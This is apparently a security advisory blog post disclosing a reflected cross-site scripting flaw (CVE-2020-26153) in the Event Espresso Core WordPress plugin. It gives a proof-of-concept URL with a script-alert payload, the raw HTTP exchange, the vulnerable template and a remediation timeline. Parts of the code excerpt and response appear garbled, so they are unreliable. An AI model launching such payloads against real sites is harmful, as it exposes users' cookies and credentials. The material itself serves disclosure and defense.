

PoshC2

Nettitude Command & Control Framework - Free and Open Source

[Download](#)

CVE-2020-26153: Event Espresso Core – Cross Site Scripting

By Tom Wedgbury | June 25, 2021

Nettitude have identified a Cross Site Scripting (XSS) vulnerability within Event Espresso Core.

Event Espresso is a WordPress plugin which provides online event registration and ticket management. Versions 4.10.6.p and below allow remote attackers to inject arbitrary JavaScript or HTML via a URL parameter.

Proof of Concept

Event Espresso accepts user input from the `page` URL parameter, outputting it directly within the response without escaping HTML characters. As a result, it is possible to inject malicious JavaScript and HTML through a specially crafted GET request.

The vulnerability was identified within a template file which was not intended to be called directly, however there are no controls limiting an unauthenticated user from doing so.

Example request:

- `https://example.com/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page= "<script>alert('XSS')</script>`

When a link containing the highlighted code is clicked by a target, their web browser makes the following HTTP request:

Request	Response		
Raw	Params	Headers	Hex
1 GET			
2 /wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page= "<script>alert('XSS')</script>			
3 Host: localhost			
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0			
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			
6 Accept-Language: en-US,en;q=0.5			
7 Accept-Encoding: gzip, deflate			
8 Connection: close			
9 Upgrade-Insecure-Requests: 1			
10			

The application responds as follows, with the injected JavaScript inserted directly into the response, without being HTML-encoded.

Request	Response		
Raw	Headers	Raw	Header
1 HTTP/1.1 200 Internal Server Error			
2 Date: Mon, 09 Aug 2020 16:19:17 GMT			
3 Server: Apache/2.4.18 (Ubuntu)			
4 Content-Length: 507			
5 Connection: close			
6 Content-Type: text/html; charset=UTF-8			
7			
8 <! class="subsubsub">			
9 <div>			
10 </div>			
11 </div>			
12 <div class="clear"></div>			
13 <div id="ee-messenger-filters-div">			
14 <div id="ee-messenger-filters-frp" action="" method="post">			
15 <div id="ee-messenger-filters-frp">			
16 <div id="ee-messenger-filter-by" id="ee-messenger-filter-by">			
17 </div>			
18 <input id="submit-ee-messenger-filters-submit" class="button-secondary" type="submit" value="Filter Messenger">			
19 </div>			
20 <div id="ee-message-type-filter-by" id="ee-message-type-filter-by">			
21 </div>			
22 <input id="submit-ee-message-type-filters-submit" class="button-secondary" type="submit" value="Filter Message Type">			
23 </div>			
24 </div>			
25 </div>			
26 </div>			
27 <div id="ee-messages-overview-frp" action="" method="get">			
28 <div id="ee-messages-overview-frp" name="page" value=" "<script>alert('XSS')</script>			
29 <input type="button" id="filter_page" name="filter_page" value="Filter Page">			
30			

As a result, the script is executed by the user's web browser, opening a JavaScript alert:



The impact of this vulnerability would vary depending on the affected website. An attacker could potentially exploit this issue in order to steal cookies, credentials, or other personally identifiable information (PII). Alternatively, the target user could be redirected to a malicious website or prompted to execute malware, etc.

Affected Component

This vulnerability affects Event Espresso Core version 4.10.6.p and below. The most recent vulnerable release is available from the following URL:

- <https://github.com/eventespresso/event-espresso-core/releases/tag/4.10.6.p>

Affected template

The affected template is as follows:

Projects

Check out our latest projects at
<https://github.com/nettitude>

Popular Recent

Shelter – A Dynamic Shellcode Injector
June 25, 2015

New Threat Advisory Report: Nettitude finds malicious content embedded in image files
November 11, 2015

CVE-2019-12750: Symantec Endpoint Protection Local Privilege Escalation – Part 1
December 3, 2019

- wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php

This vulnerability is caused by a request parameter being directly outputted to the page. There is no check to ensure the template has been loaded by WordPress, allowing it to be called directly.

```
<ul class="subsubsub">
  <?php foreach ($data_RL as $w) : ?>
    <li class="?php echo $w['slug']; ?>"><?php echo $w['class']; ?>
      <?php echo $w['url']; ?><?php echo $w['label']; ?><span
        class="count"><?php echo $w['count']; ?></span></li>
  <?php endforeach; ?>
</li>
</ul>
</div>
<div class="clear"></div>
<div id="ee-messenger-filters-do">
  <?php $id="ee-messenger-filters-fr" $action="?php echo $ee_msg_admin_overview_url; ?>" method="post"
    name="ee-messenger-filters-fr">
    <select name="ee-messenger-filter_by" id="ee-messenger-filter_by">
      <?php foreach ($active_messengers as $messenger => $arg) : ?>
        <option value="?php echo $messenger; ?>">
          <?php
            echo $arg[0];
            str_replace('_', ' ', $messenger);
          </?php
        </?php endforeach; ?>
      </select>
      <input id="submit-ee-messenger-filters-submit" class="button-secondary" type="submit" value="Filter Messenger">
      <select name="ee-message-type-filter_by" id="ee-message-type-filter_by">
        <?php foreach ($active_message_types as $message_type => $arg) : ?>
          <option value="?php echo $message_type; ?>">
            <?php
              echo $arg[0];
              str_replace('_', ' ', $message_type);
            </?php
          </?php endforeach; ?>
        </select>
        <input id="submit-ee-message-type-filters-submit" class="button-secondary" type="submit"
          value="Filter Message Type">
      </div>
</div>
<?php $id="ee-messages-overview-fr" $action="?php echo $ee_msg_admin_overview_url; ?>" method="get">
  <input type="hidden" name="page" value="?php echo $GLOBALS['page']; ?>
  <input type="hidden" id="per_page" name="per_page" value="?>
  <?php echo $list_table->display(); ?>
</div>
```

Conclusion

The affected template was deprecated and removed from Event Espresso in version 4.10.7.p. As a result, this version is no longer affected.

Patched release:

- <https://github.com/eventespresso/event-espresso-core/releases/tag/4.10.7.p-sans-tests-tag>

Untrusted user input should be validated and HTML-encoded before it is outputted within the application response. Scripts and templates which are designed to be included within a WordPress plugin should include server-side checks to ensure they are not called directly.

Timeline

1. Discovery by Nettitude: 03 August, 2020
2. Vendor fix released: 16 September, 2020 (prior to being notified by Nettitude)
3. Vendor informed: 22 September, 2020
4. CVE Assigned: 30 September, 2020
5. Nettitude blog: 25 June, 2021

Share This Story, Choose Your Platform!




Related Posts



·  1

Popular document storage solution, ONLYOFFICE, affected by multiple vulnerabilities. Our latest post by [@strawp](#) shows how to exploit this for unauthorized remote code execution.

I.
E.
A
b

  1

 **Nettitud Labs ...**

 7

Highlights from Day 1 of [#Pwn2Own](#) Toronto 2022:
Connor

Ford
from

USEFUL LINKS

Download PoshC2
Vulnerability Research
Nettitude Cyber Security Tools
Red Team Training
Careers at Nettitude<

UK


1 Jephson Court
Trancred Close
Leamington Spa
Warwickshire
CV31 3RZ

AMERICAS

50 Broad Street
Suite 403
New York City
NY
10004

CONTACT US

Name * 

 Your name or handle*

Email address * 

 your@email.com*

Message * 

 Your message to Nettitude Labs.*

protected by reCAP

Send your message

NETTITUDE LABS PRESENTED BY

NETTITUDE
AN  COMPANY

EUROPE

Leof. Siggrou 348
Kallithea
Athens
Greece
176 74

ASIA

18 Cross Street
#02-101
Suite S2039
Singapore
048423

© Copyright Nettitude

Rock
s the
stag
e 